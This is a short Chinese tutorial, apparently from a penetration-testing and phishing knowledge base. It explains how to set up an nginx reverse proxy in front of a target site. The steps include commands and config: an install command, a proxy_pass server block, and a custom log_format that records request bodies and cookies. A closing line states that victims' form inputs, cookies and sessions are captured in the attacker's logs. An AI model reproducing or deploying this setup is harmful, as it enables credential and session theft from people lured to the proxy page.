前言:Nginx反向代理的流程,根据Nginx反向代理配置,把访问者的请求转发给设置好的目标服务器,目标服务器接收请求后把资源转发给Nginx反向代理服务器,再由Nginx反向代理服务器转发给访问者
简介
环境准备
1
| sudo apt-get install nginx -y
|
配置反向代理
1
| vim /etc/nginx/sites-enabled/reverse-proxy.conf
|
1 2 3 4 5 6 7 8 9 10 11 12
| server { listen 80; server_name 1.2.3.4; location / { proxy_pass http://xxx.xxx.xxx.xxx; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } access_log /var/log/nginx/access_log_8081.log testLog; }
|
1
| vim /etc/nginx/nginx.conf
|
1 2
| include /etc/nginx/mime.types; default_type application/octet-stream;
|
在这两行下面添加2句
1 2
| log_format testLog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie; include /etc/nginx/sites-enabled/reverse-proxy.conf;
|
效果
- 如果受害者在攻击者的这个Nginx反向代理服务器的页面输入表单,所有输入,cookie session都会被攻击者截获,可在日志查看!
参考:
https://bblog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/09.%E7%A4%BE%E5%B7%A5%E9%92%93%E9%B1%BC/03.nginx%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E9%92%93%E9%B1%BC.html